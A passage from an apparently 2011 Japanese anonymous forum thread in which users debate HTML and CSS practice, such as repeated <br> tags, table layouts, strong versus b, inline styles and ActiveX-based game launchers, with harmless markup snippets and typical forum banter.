ゆうすけのホームページがグラデーションになってて、Sorry!の行が流れてたら最高だ
こういうサイト見つけると掲示板に書きこむようにしてる
大体は2005年くらいで更新止まってるけどね


251 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 16:31:33.16 ID: sWkfzJEO0
>>249
その1行が見る側によって変わるからレイアウトが~みたいな話じゃないの


252 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/19(火) 16:32:52.09 ID: g20Mh3xn0
>>225
なにこれ豊崎愛生ちゃんと関係あるの?


253 名前: 名無しさん@涙目です。(静岡県) Mail: 投稿日: 2011/04/19(火) 16:33:27.31 ID: Zgmz2HXm0
>>246
自分が見やすけりゃいいと思うけど、インテンドないと見づらくない?


254 名前: 名無しさん@涙目です。(catv?) Mail: sage 投稿日: 2011/04/19(火) 16:33:44.87 ID: PKcCT6WR0
XHTMLは厳格さを求め過ぎた。
人は正しさのみでは生きてはいけないとマリーダちゃんも言ってたしな


255 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 16:34:41.50 ID: 4Tg7CAOFP
>>249
> 単純に<br>ひとつにつき1行分スペースを空けてくれるだけでいいんだが

お前の個人ホームページがそれでいいならいいんだよ別に。

ただ、こだわりデザイナーがフォトショで細部まで指定してるのを
実現するのがプロだから、その一行分スペースがbrだと正確に表現できないと困るんだよ。


256 名前: 名無しさん@涙目です。(catv?) Mail: sage 投稿日: 2011/04/19(火) 16:35:36.62 ID: hmXJREq70
>>179
あとで「やっぱ間隔を半分にするわ」となったときの作業量がえらく違う


257 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/19(火) 16:36:07.65 ID: IjVqUS90P
タグは論理構造を
デザインはスタイルシートで
っていくら言っても理解できない馬鹿の壁はある
そういう人にHTML書かせない(書かなくてもいい)ようにしてやらなければならない


258 名前: 名無しさん@涙目です。(福岡県) Mail: 投稿日: 2011/04/19(火) 16:37:56.72 ID: 5WVFNlDR0
まあ場合によるわな。
ブログみたいなユーザーサイドで編集するコンテンツで
br連続をやめろって言っても不毛だし。


259 名前: 名無しさん@涙目です。(catv?) Mail: sage 投稿日: 2011/04/19(火) 16:38:08.46 ID: hmXJREq70
MMO(オンラインゲーム)の公式サイトでは「IE以外では絶対に動作しません」が
横行しているのはなぜなんだろ


260 名前: 名無しさん@涙目です。(長野県) Mail: 投稿日: 2011/04/19(火) 16:38:53.29 ID: eNe0nkNQ0
spacer.gifの出番が来たか


261 名前: 名無しさん@涙目です。(チベット自治区) Mail: sage 投稿日: 2011/04/19(火) 16:38:56.68 ID: uaw5envV0
>>251
1行分ってのはline-heightで指定した高さで

>.255
細部までこだわるならcssで
別にcssが悪いとは言ってない


262 名前: 名無しさん@涙目です。(長野県) Mail: sage 投稿日: 2011/04/19(火) 16:41:45.38 ID: hEWWPT680
これに従わないと、デメリットがあるの?
玄人の人に笑われるだけ?


263 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 16:42:43.39 ID: XYWfA99+0
細部までこだわるならココで引用符を間違うなってのww


264 名前: 名無しさん@涙目です。(静岡県) Mail: 投稿日: 2011/04/19(火) 16:42:48.07 ID: Tlp0MebD0
>>4
前にキリ番踏んで無視して掲示板眺めてたら怒られた


265 名前: 名無しさん@涙目です。(新潟県) Mail: sage 投稿日: 2011/04/19(火) 16:42:59.43 ID: 2X5Af9OE0
こだわりデザイナーはそれが飯の種だからこだわるのは仕方がない
普通の人が普通の感覚でタグ打ちできるレベルが今後もサポートされていくんだったら俺は何の文句もないよ
全員が全員、プロである必要はない
だから俺はWWW黎明期のホームページみたいなあの雰囲気が好きなのかも知れないな
>>30のような感じの


266 名前: 名無しさん@涙目です。(愛知県) Mail: sage 投稿日: 2011/04/19(火) 16:45:02.34 ID: mPmFPr+CP
>>260
それはない。

>>259
IEにしか無い(MS独自のWinのビルドインである)ActivX認証でMMOのクライアントが起動するから
ActivXが使えない一般的なモダンブラウザは使えない。


267 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/19(火) 16:45:42.80 ID: IjVqUS90P
他のブラウザはActiveX並みの凶悪な事は出来ないからな


268 名前: 名無しさん@涙目です。(catv?) Mail: 投稿日: 2011/04/19(火) 16:45:57.12 ID: N3S5B2uH0
スレタイはきちんとしたタグの入れ子してるのが笑いどころなんだよね?


269 名前: 名無しさん@涙目です。(静岡県) Mail: 投稿日: 2011/04/19(火) 16:47:13.87 ID: Tlp0MebD0
>>127
水増し?


270 名前: 名無しさん@涙目です。(catv?) Mail: sage 投稿日: 2011/04/19(火) 16:47:22.24 ID: hmXJREq70
>>266
そのあたりは次の世代のブラウザで改善されたりしないのかな?


271 名前: 名無しさん@涙目です。(福岡県) Mail: 投稿日: 2011/04/19(火) 16:49:45.76 ID: 5WVFNlDR0
>>270
改善というのはどっち方向になれば改善なんだ?


272 名前: 名無しさん@涙目です。(兵庫県) Mail: sage 投稿日: 2011/04/19(火) 16:51:36.64 ID: g2VWePBT0
>>269
1行いくらで料金が発生してるんじゃないかって噂


273 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 16:52:04.36 ID: sWkfzJEO0
>>261
まぁ>>1みたいなのは神経質なやつが言ってるだけだしな。
文法チェッカーで満点取りたい!みたいな。
デザイナーみたいにこだわる人以外は大きく崩れなきゃどうでもいいよね。


274 名前: 名無しさん@涙目です。(長野県) Mail: sage 投稿日: 2011/04/19(火) 16:52:45.84 ID: rjXu4dXq0
>スタイルを構造化するものじゃなくて
>強調などといった意味を構造化するものだから

>b要素は、特に強調したいという意図がない太字の場合はOK
>ただし、「強調でない太字部分」自体が矛盾する場合が多い。強調したいならstrong要素。

>「見た目」と「文章の意味」を切りわけるためだ。



くっだらねー。結果が出ていればタグの存在理由なんてどうでもいい。
こういう連中はモノサシで背中をかくのにも文句つけそうだな。

視覚障害者の事なんて俺シラネ。
全てのマイノリティーに配慮なんてできねーし。


275 名前: 名無しさん@涙目です。(福岡県) Mail: 投稿日: 2011/04/19(火) 16:52:52.16 ID: 5WVFNlDR0
>>269
なんかプログラムで生成してるんだろうけどw
もはやなにか暗号を仕込んでるとしか思えないなw


276 名前: 名無しさん@涙目です。(広島県) Mail: sage 投稿日: 2011/04/19(火) 16:53:11.25 ID: DWgjs2jn0
>>233
「アプリでやれ」で済んじゃうし。そもそもブラウザで何でもかんでもやろうってのがおかしい。


277 名前: 名無しさん@涙目です。(dion軍) Mail: 投稿日: 2011/04/19(火) 16:53:21.08 ID: aFvLfwyO0
>>10 の言うとおり。
物事には必ず例外が存在する。
厳密すぎるのは流行らないし、時代に淘汰される。


278 名前: 名無しさん@涙目です。(静岡県) Mail: 投稿日: 2011/04/19(火) 16:54:54.96 ID: d5O3W2XE0
>>272
ありがと


279 名前: 名無しさん@涙目です。(愛知県) Mail: sage 投稿日: 2011/04/19(火) 16:55:46.33 ID: mPmFPr+CP
>>270
Webページに入力した内容(IDなど)
→ユーザー情報
→MMOサーバーの認証情報
→ActivXによる限定されたプログラム実行権限の書き換え
→ユーザーPC内のゲームクライアントソフトを”ユーザーに確認なく、勝手に”起動処理

こういう仕組みだから。
IE以外はセキュリティもあってブラウザ経由のActivXControlは載せてない。


280 名前: 名無しさん@涙目です。(catv?) Mail: sage 投稿日: 2011/04/19(火) 16:56:49.68 ID: hmXJREq70
>>271
「どんなブラウザでも使える安全この上ないランチャー機能」


281 名前: 名無しさん@涙目です。(dion軍) Mail: 投稿日: 2011/04/19(火) 16:57:32.04 ID: aFvLfwyO0
スタイルシートの理念とかも行き過ぎるはダメだなあれ。理念と実践は常に違う。
デザインとテキスト成分を分けろっていうけど、必ず物事にはグレーゾーンが存在するから、
きっちり分けようという思想にとらわれ過ぎると結局時間ばかりかかってうまくいかない。
およそ75%が確固たるルールにしたがっていて、25%くらいは緩みとして残しておくくらいでちょうどいい。


282 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/19(火) 16:57:37.54 ID: g20Mh3xn0
昔i-modeサイト作る事になった時、厳格に作ってた俺の担当分はPCのページをほとんど自動処理で
変換できたけど、見た目さえ整ってりゃいいや主義の人の担当の人は苦労してたまあそういうもんだ


283 名前: 名無しさん@涙目です。(愛知県) Mail: sage 投稿日: 2011/04/19(火) 16:59:23.74 ID: 2OEJ79RC0
いい加減統一しろよ


284 名前: 名無しさん@涙目です。(catv?) Mail: 投稿日: 2011/04/19(火) 16:59:24.86 ID: vw93+0G20
>>272
1行いくらってこれまた懐かしい基準だな。
いくらでも金引っ張れるクライアントうらやましいわ


285 名前: 名無しさん@涙目です。(愛知県) Mail: sage 投稿日: 2011/04/19(火) 16:59:27.34 ID: EORg4drI0
またバカな主張を…
HTMLなんてブラウザがゆるゆるに判定してくれるんだから、好きにやりゃいんだよ


286 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 17:00:35.20 ID: cDDi/1xm0
改行のためだけにわざわざclass作って外部スタイルシートで定義しろとかめんどくさすぎんだろ


287 名前: 名無しさん@涙目です。(福岡県) Mail: 投稿日: 2011/04/19(火) 17:00:48.71 ID: 5WVFNlDR0
>>280
それは難しい命題だな。
要求が無茶かどうかはさておき、
IE以外はWindows限定で考えることなんてないだろうし。


288 名前: 名無しさん@涙目です。(チベット自治区) Mail: sage 投稿日: 2011/04/19(火) 17:01:14.61 ID: aL82rIS/0
>>253
インテンドって?


289 名前: 名無しさん@涙目です。(岐阜県) Mail: 投稿日: 2011/04/19(火) 17:01:32.87 ID: GmV5fO9y0
>>231
くそワロタw


290 名前: 名無しさん@涙目です。(長野県) Mail: sage 投稿日: 2011/04/19(火) 17:01:48.32 ID: rjXu4dXq0
>>281
スタイルシートに厳格に則った、自称「デザインにも凝った」サイトが、
軒並み、

■______________

のようなボーダーばっかりの、まるで共産主義国のデパートみたいな
寒気のするデザインのサイトばかりだった件。


291 名前: 名無しさん@涙目です。(福岡県) Mail: 投稿日: 2011/04/19(火) 17:02:14.67 ID: 5WVFNlDR0
>>286
いや、改行はbrに違いないよ。
ただ改行以外の意味で余白を変えたいために複数のbrを使うなってのが主張であって。


292 名前: 名無しさん@涙目です。(catv?) Mail: sage 投稿日: 2011/04/19(火) 17:02:46.66 ID: hmXJREq70
>>279>>287

そういったセキュリティがらみの問題点があるのに、多くのMMOでは
クライアントでのID/PW入力じゃなくブラウザからの起動を選ぶのは
どうしてなんだろなあ。


293 名前: 名無しさん@涙目です。(広島県) Mail: sage 投稿日: 2011/04/19(火) 17:04:30.24 ID: B0zQ/tm/0
<style><style><style><style><style><style>~~~~</style></style></style></style></style></style>

DreamWeaverの↑直った?


294 名前: 名無しさん@涙目です。(福岡県) Mail: 投稿日: 2011/04/19(火) 17:04:34.76 ID: 5WVFNlDR0
>>292
そりゃ警戒心なく、バカを引き込めるから


295 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 17:05:29.03 ID: 4Tg7CAOFP
>>277
その通り。
XHTMLも消えるし、
strictは厳密すぎて使われなかった。

ただし自分たちの価値云々じゃなくて、googleがちゃんとマークアップしないと
SEOの関係でちゃんと評価されないから仕方ないんだよ。

一部の文法厨はWEB制作板でもゴミ扱い


296 名前: 名無しさん@涙目です。(長野県) Mail: 投稿日: 2011/04/19(火) 17:05:33.20 ID: eNe0nkNQ0
>>290
黎明期はそんなんばっかりだったなw
CSS3になってやっと好きなことができるって感じか


297 名前: 名無しさん@涙目です。(愛知県) Mail: sage 投稿日: 2011/04/19(火) 17:06:47.22 ID: nC+3mrQGP
かっこいいとか思われるようなサイト作るにはデザインセンスも必要だからな


298 名前: 名無しさん@涙目です。(滋賀県) Mail: 投稿日: 2011/04/19(火) 17:06:52.08 ID: W1G+zRWw0
そうですね
してはいけないコードを書くと言うのもやってみたいですね


299 名前: 名無しさん@涙目です。(catv?) Mail: 投稿日: 2011/04/19(火) 17:07:11.18 ID: 41YIEm8D0
あんな便利すぎるtableタグ作っておいて
レイアウトに使うなってどういうことですか


300 名前: 名無しさん@涙目です。(茨城県) Mail: sage 投稿日: 2011/04/19(火) 17:07:24.15 ID: G3cZKi6j0
経済産業省のあれとか、発見する人はどうやって見つけたのか気になる


301 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/19(火) 17:07:29.08 ID: /J5EHlQP0
<p>
改行するぜ<br>
改行するぜ<br>
改行するぜ<br>
</p>

がダメなんじゃなくて

<p>
1行あけるぜ<br>
<br>
1行あけるぜ<br>
</p>

がダメってこと?どっちもダメってこと?


302 名前: 名無しさん@涙目です。(長野県) Mail: sage 投稿日: 2011/04/19(火) 17:08:20.11 ID: rjXu4dXq0
俺的な使い方。

<b>
普通の太文字。

<strong>
検索で引っかかって欲しいキーワードの太文字。


303 名前: 名無しさん@涙目です。(三重県) Mail: 投稿日: 2011/04/19(火) 17:08:40.45 ID: TBJtP9jl0
7. 要素に対して直接スタイルを指定している

何でこれダメなんだ?id指定して.cssとして分離しろってこと?


304 名前: 名無しさん@涙目です。(岐阜県) Mail: 投稿日: 2011/04/19(火) 17:08:56.86 ID: GmV5fO9y0
ど汚いコードよりは良いってだけだな
HTMLはできるだけピュアであり細かい仕様はCSSに任せる
ってのはいいんだけど
結局divりまくりで小汚くなってるのはどうなのと思う


305 名前: 名無しさん@涙目です。(長野県) Mail: sage 投稿日: 2011/04/19(火) 17:09:12.42 ID: rjXu4dXq0
>>296
CSS使ってても原理主義者のはそんなのが大半だよ。
だってデザインに拘ってたら原理主義にはならんから。


306 名前: 名無しさん@涙目です。(兵庫県) Mail: sage 投稿日: 2011/04/19(火) 17:09:55.96 ID: g2VWePBT0
>>299
そもそもtableタグは、その名のとおり「表組み」を表現するタグだ。
tableタグでレイアウトするってことは、エクセルでドット絵書くのと同じようなこと。
想定外すぎ。


307 名前: 名無しさん@涙目です。(愛知県) Mail: sage 投稿日: 2011/04/19(火) 17:10:24.21 ID: mPmFPr+CP
>>303
css埋め込みは汚くなるから
子セレクタ/擬似セレクタ を使ってcss指定しろってことだろうね。
要素ごとにID振るとか。


308 名前: 名無しさん@涙目です。(長野県) Mail: sage 投稿日: 2011/04/19(火) 17:12:25.00 ID: rjXu4dXq0
>tableタグでレイアウトするってことは、エクセルでドット絵書くのと同じようなこと。

やりたい奴はやればいいんじゃね?
禁止する程のもんじゃない。


309 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 17:13:07.55 ID: 4Tg7CAOFP
>>303
> 7. 要素に対して直接スタイルを指定している
>
> 何でこれダメなんだ?id指定して.cssとして分離しろってこと?

基本的に、骨組みが役目のHTMLにデザイン要素をぶち込むのは
構造とデザインを分離する理念から外れてる。(これは利便性の問題も絡む)

idでもclassでもいいけど、指定して、外部ファイルか<style>~</style>に記述
した方が便利だから。
例えば100個の要素のスタイル修正が発生したときのこと考えてみてくれ。


310 名前: 名無しさん@涙目です。(新潟県) Mail: sage 投稿日: 2011/04/19(火) 17:13:22.05 ID: 2X5Af9OE0
>>306
でも実用するにあたってはあんなに段組に便利なタグってないよね


311 名前: 名無しさん@涙目です。(埼玉県) Mail: sage 投稿日: 2011/04/19(火) 17:14:16.70 ID: iy8gsdXk0
>>309
エディタで開いて置換一発で終了


312 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 17:15:39.99 ID: 4Tg7CAOFP
>>301
どっちも間違ってないよ。
brって言うのは行を改行するという役割を持ってるから。

ただし、一行あけるぜの部分がパラグラフとして分離しているなら、
それぞれpタグを使うとか、そういう使い方がされてる。


313 名前: 名無しさん@涙目です。(長野県) Mail: sage 投稿日: 2011/04/19(火) 17:17:02.22 ID: rjXu4dXq0
>>309みたいな「構造とデザインを分離する理念キリッ」とか原理的な説明をしなくても、
「外部ファイルにまとめて書いておけば、全体を1度にデザイン変更するのが楽じゃん」
程度に言った方が納得するけどね。


314 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 17:17:43.94 ID: 4Tg7CAOFP
>>311
まあそういうことも仕事だからよくやるよw
ただし、やっぱしCSS一行変えるだけの方が安全で手軽なんだ


315 名前: 名無しさん@涙目です。(中部地方) Mail: sage 投稿日: 2011/04/19(火) 17:18:55.43 ID: Kp62rxkn0
フリーソフトでいいWYSIWYGのHTMLエディタ無いかねぇ?
タグ打ちは出来ないことはないけどメンドイし、フリーだと訳のわからんきったないソースになるソフトばっかり


316 名前: 名無しさん@涙目です。(愛知県) Mail: 投稿日: 2011/04/19(火) 17:22:12.41 ID: /OPx4yb+0
iPod touch5のサファリで見ると、指定した文字サイズより、デカくなる時があるけどなんで?

なる時とならない時があってワケわからん。


317 名前: 名無しさん@涙目です。(岐阜県) Mail: 投稿日: 2011/04/19(火) 17:22:26.44 ID: GmV5fO9y0
>>310
ちょっと考えればわかるけど
表に必要な要素を全て読み込まないと表自体の大きさ等が決定できないのが欠点
だから表内部全てロードを完了しないと表示できない
大規模なページ全体でこれを行うのはあまりよろしくないというのは分かるんではないかと


318 名前: 名無しさん@涙目です。(兵庫県) Mail: sage 投稿日: 2011/04/19(火) 17:22:50.25 ID: g2VWePBT0
>>308
やりたい人はやればいいと思うよ。
プレーンなHTML+CSSのメンテナンス性や柔軟性やSEO、
一部の「プッ!未だにtableレイアウトw」って視線と天秤にかけた上での選択なら。


319 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 17:23:19.11 ID: lKlaI1NP0
楽天の通販サイトだな
ページ構成が許せない 買いたいと思えない
画像がでかい文字がでかい縦にながいDQNかよ


320 名前: 名無しさん@涙目です。(長野県) Mail: sage 投稿日: 2011/04/19(火) 17:24:23.87 ID: rjXu4dXq0
×一部の「プッ!未だにtableレイアウトw」
○極々一部の「プッ!未だにtableレイアウトw」


321 名前: 名無しさん@涙目です。(愛知県) Mail: sage 投稿日: 2011/04/19(火) 17:24:53.81 ID: mPmFPr+CP
WYSIWYGでWebオーサリングはかなり前から事実上DreamWeaver一択だからなあ。
フリーが介入する余地がほとんどない気がする。
Goliveはアドビが殺したし。

ふりーだとKompoZerとかあるけどソースは汚い。


322 名前: 名無しさん@涙目です。(catv?) Mail: sage 投稿日: 2011/04/19(火) 17:25:41.33 ID: PKcCT6WR0
>>317
理屈は分かるが、そう言ってもCSSには未だに段組み機能無いよね
float:leftって本来段組みの機能じゃないし


323 名前: 名無しさん@涙目です。(福岡県) Mail: 投稿日: 2011/04/19(火) 17:25:51.74 ID: 5WVFNlDR0
キャンペーンサイトみたいな一発インパクトのサイトは
いまだにtableで組んでるページもあるし、あれはあれでいいんじゃないの?
ちらしみたいなのなら。


324 名前: 名無しさん@涙目です。(新潟・東北) Mail: 投稿日: 2011/04/19(火) 17:26:16.47 ID: 8yav1ULwO
ほんとHMTLってクソだよな
画面の大きさやブラウザによって表示の仕方が変わるとか阿保じゃないかと思う


325 名前: 名無しさん@涙目です。(長野県) Mail: sage 投稿日: 2011/04/19(火) 17:26:54.05 ID: rjXu4dXq0
>>317
大規模なtableレイアウトバリバリのサイトっていえば、
アダルトサイト位しか思いつかないけど、
今日日あんなんでも10年前のナロー環境で普通のサイトを見た時より早く表示されるから、
そういわれてもピンと来ないね。


326 名前: 名無しさん@涙目です。(千葉県) Mail: 投稿日: 2011/04/19(火) 17:29:17.79 ID: 7eq12Ml00
見れればなんでもいい


327 名前: 名無しさん@涙目です。(静岡県) Mail: 投稿日: 2011/04/19(火) 17:30:30.45 ID: Zgmz2HXm0
>>319
ああいうサイトの方が売れちゃうから不思議 楽天の顧客層はわからん


328 名前: 名無しさん@涙目です。(長野県) Mail: 投稿日: 2011/04/19(火) 17:34:33.44 ID: eNe0nkNQ0
>>322
CSS3のmulti-columnが勧告候補なってるからもうすぐ来るよ
まあIEが対応してくれないと使いづらいけど


329 名前: 名無しさん@涙目です。(不明なsoftbank) Mail: sage 投稿日: 2011/04/19(火) 17:36:05.95 ID: EeOL0EE+0
<tbs>とか <asahi>とかのタグはどんな風に反映されるの。


330 名前: 名無しさん@涙目です。(埼玉県) Mail: sage 投稿日: 2011/04/19(火) 17:36:29.90 ID: COKea9ux0
>>231
公式サイトのソースにstrongタグが872個もあった(現在は修正済み)
http://www.gizmodo.jp/2010/08/872strong.html

他にも北朝鮮の公式サイトのこのページのソースを見ると
金日成と金正日の名前が出るたびにstrongタグで囲まれてる
http://www.korea-dpr.com/ocn/


331 名前: 名無しさん@涙目です。(福岡県) Mail: 投稿日: 2011/04/19(火) 17:37:16.11 ID: 5WVFNlDR0
>>329
無視される


332 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 17:38:32.51 ID: XYWfA99+0
>>328
じゃあ今のところはTABLEしか選択肢ないじゃん。


333 名前: 名無しさん@涙目です。(dion軍) Mail: 投稿日: 2011/04/19(火) 17:39:09.43 ID: VaHovDZF0
>>166
なんでこれ右下に戸松遥公式サイトへのリンクがちっちゃく貼られてるの?


334 名前: 名無しさん@涙目です。(長野県) Mail: sage 投稿日: 2011/04/19(火) 17:44:32.17 ID: rjXu4dXq0
>>332
png形式を見る限り、後々になって対応しても時既に遅いような気がするが。
tableでやっている人が今更1から作り直すわけないし。


335 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 17:44:51.19 ID: lKlaI1NP0
>>333
ホントだwwwクソワロタwwwwwww


336 名前: 名無しさん@涙目です。(関西地方) Mail: sage 投稿日: 2011/04/19(火) 17:51:02.43 ID: y4t+qcViP
>>324
いやいや逆だろ。

例えば全画面使ってでかーく表示したい奴や、
ウィンドウを複数並べるから小さく表示したい奴や、
独特なフォントを使ってる奴や、
ユーザーのどんな環境や要求にも『それなりに』表示して読める柔軟さがHTMLの良さなのに。

文章の意味を伝えると言う用途では恐ろしく優秀だよ。ユーザーの方で自分に最適なレイアウトを選べるんだから。

今じゃ幅を効かせたWebデザイナーが
なんとしてもユーザーにレイアウトを強制したがる
サーバー主導の方向になっちゃったけど。


337 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 17:51:11.08 ID: 4Tg7CAOFP
>>332
極論だなー。
tableは表に今でもちゃんと使われてるし、floatもレイアウト用途として
認められてるからちゃんと勉強してたら適所使い分けられるようになるよ。
WEBも日進月歩だからどっちも消えることも考えられるし、今求められてる
コーディングが出来ればなんでもいいよ


338 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 17:51:44.54 ID: Vdh+sUBr0
※右クリック禁止


339 名前: 名無しさん@涙目です。(兵庫県) Mail: sage 投稿日: 2011/04/19(火) 17:53:27.57 ID: g2VWePBT0
>>332
まあ、現状での段組はブロック要素で囲んでfloatさせるか、絶対配置させるぐらいしか方法は無いわな。
逆に、”それらしく”見せるテクニックが色々流行ったり、工夫する余地はたくさんある。

で、IE6死ね!7も死ね!って結論に達するわけだ。


340 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 17:55:16.88 ID: f93hBQgrP
<br>←これはよくやる。


341 名前: 名無しさん@涙目です。(愛知県) Mail: sage 投稿日: 2011/04/19(火) 17:55:29.13 ID: mPmFPr+CP
最近個人的には
IE6,7、ついでにOperaも氏ね!に…
スターハック、アンスコハックはもういやだおw


342 名前: 名無しさん@涙目です。(長屋) Mail: sage 投稿日: 2011/04/19(火) 17:57:00.04 ID: otYnaq5S0
>>1
こういうクズに限って使ってはいけない「根拠」を示せないんだよね


343 名前: 名無しさん@涙目です。(愛知県) Mail: sage 投稿日: 2011/04/19(火) 17:58:55.76 ID: NxkQoK0Z0
この手のしょーもないコーディングルールをいちいち押し付けてくるやつは
結局最終的な大目標も満たせずひたすら時間を潰すだけ


344 名前: 名無しさん@涙目です。(静岡県) Mail: 投稿日: 2011/04/19(火) 17:59:25.41 ID: ymRcR2/S0
>>264
俺もこの前1万ヒット踏んだんだけど
初めて見るサイトだったから書き込まなかったら大騒動になってワロタwwwww


345 名前: 名無しさん@涙目です。(catv?) Mail: sage 投稿日: 2011/04/19(火) 18:00:47.23 ID: 4xKCB+TQ0
お前らわかってないな。
>>4 は全角でジャパニーズオンリーって書いてるところがツッコミどころなんだよ。


346 名前: 名無しさん@涙目です。(福岡県) Mail: 投稿日: 2011/04/19(火) 18:01:11.78 ID: 5WVFNlDR0
>>336
でも情報ってレイアウトも意味を持つから
一長一短だと思うよ。


347 名前: 名無しさん@涙目です。(千葉県) Mail: 投稿日: 2011/04/19(火) 18:02:29.57 ID: AFzqqkwnP
FLASHでサイトつくるのが一番の犯してはいけない間違い


348 名前: 名無しさん@涙目です。(愛媛県) Mail: 投稿日: 2011/04/19(火) 18:03:19.28 ID: ss2qTUPs0
個人でやってるうちは害はない
共通ルールも決めずに複数人数でコーディングすると大炎上して、スーパーWEBデザイナーが呼ばれる


349 名前: 名無しさん@涙目です。(福岡県) Mail: 投稿日: 2011/04/19(火) 18:04:43.28 ID: 5WVFNlDR0
>>347
なんで?


350 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/19(火) 18:05:50.16 ID: 8+ka9wEb0
>4. <strong>や<em>ではなく<b>や<i>を使っている

うかつにstrong使うとYahooから
トップページダウンペナルティくらうだろ
まじありえねえ
今は大丈夫なのかね


351 名前: 名無しさん@涙目です。(catv?) Mail: sage 投稿日: 2011/04/19(火) 18:06:08.51 ID: 930RPUoQ0
>>349
ヒキコモリよけには最高なのにね


352 名前: 名無しさん@涙目です。(チベット自治区) Mail: sage 投稿日: 2011/04/19(火) 18:06:59.97 ID: fbe185Fp0
>>344
ここも10000近かったな

とか言って箱庭フラッシュ張ろうかと思ったけどさすがに古くて躊躇われる
勉強がてらHTML5で似たようなページ作ってみるのも面白そうだな


353 名前: 名無しさん@涙目です。(兵庫県) Mail: sage 投稿日: 2011/04/19(火) 18:08:33.09 ID: g2VWePBT0
>>350
気にしすぎ。

あと、今のyahooの中身はgoogle


354 名前: 名無しさん@涙目です。(catv?) Mail: 投稿日: 2011/04/19(火) 18:09:24.61 ID: N3S5B2uH0
テーブルレイアウトは疲れるからやりたくない


355 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 18:10:10.99 ID: 4Tg7CAOFP
>>350
今は適正にstrong使えばペナルティなんて無い。

たしかに昔、一部のスパムサイトがstrong多様で裏SEOなんて喜んでペナルティもあったけど、そういう輩も減ったし、なにより単にクロールしてもランクが上がらなくなった。


356 名前: 名無しさん@涙目です。(愛知県) Mail: 投稿日: 2011/04/19(火) 18:14:24.15 ID: 1xX0gUUe0
>>341
Operaなんか無視しときゃええやん。
ええやん・・・。


357 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 18:19:21.34 ID: MX5h3vhs0
DW使ってるやつは糞


358 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 18:20:54.48 ID: zWSFYBkcP
>>343
そもそもHTML程度理解できないサルがこんなにいるとはW3Cも思わなかっただろうな


359 名前: 名無しさん@涙目です。(愛知県) Mail: 投稿日: 2011/04/19(火) 18:20:55.47 ID: 1xX0gUUe0
仕様どおりに作っても
後から後から追加されて
CSSもHTMLもぐちゃぐちゃになるんだ。


360 名前: 名無しさん@涙目です。(神奈川県) Mail: 投稿日: 2011/04/19(火) 18:23:06.17 ID: DNfusDrd0
ぶっちゃけ打ち消し線なんて使う機会なくね


361 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 18:24:31.43 ID: zWSFYBkcP
>>360
発言・記述の訂正。


362 名前: 名無しさん@涙目です。(石川県) Mail: 投稿日: 2011/04/19(火) 18:27:17.15 ID: 6iAaXlw50
alphaEDIT最強他は糞


363 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 18:30:10.76 ID: MX5h3vhs0
>>362
それ自分が初心者だって言ってるのと同じ


364 名前: 名無しさん@涙目です。(石川県) Mail: 投稿日: 2011/04/19(火) 18:33:17.43 ID: 6iAaXlw50
>>363
だったら他に何があるのか言ってみろよ
言えないだろ
alphaEDITが最強という事が証明されてしまったな


365 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 18:34:51.70 ID: MX5h3vhs0
>>364
おまえには使えないだろうから言っても無駄だな


366 名前: 名無しさん@涙目です。(石川県) Mail: 投稿日: 2011/04/19(火) 18:37:53.10 ID: 6iAaXlw50
やっぱりalphaEDITが最強だな
完全勝利か


367 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 18:38:55.10 ID: MX5h3vhs0
メモ帳のほうがましなレベルだろ・・・


368 名前: 名無しさん@涙目です。(岩手県) Mail: sage 投稿日: 2011/04/19(火) 18:39:29.89 ID: XuAl2rPX0
ドリームウィーバー使ってる俺に隙はない


369 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/19(火) 18:39:52.23 ID: elO3/BPi0
W3Cあたりで標準レイアウトエンジン作ってくれ。


370 名前: 名無しさん@涙目です。(関西地方) Mail: sage 投稿日: 2011/04/19(火) 18:40:51.12 ID: ZLaMxmWr0
ID:MX5h3vhs0 敗北


371 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 18:43:41.52 ID: MX5h3vhs0
>>370
ちょっと意味がわかりません^^


372 名前: 名無しさん@涙目です。(大阪府) Mail: 投稿日: 2011/04/19(火) 18:43:43.52 ID: cyvTMC8h0
>>4
不倫相手は痔持ち


373 名前: 名無しさん@涙目です。(大阪府) Mail: sage 投稿日: 2011/04/19(火) 18:45:42.35 ID: RnnVQ6eP0
やたらチカチカしてる寺だか神社のHPあったな


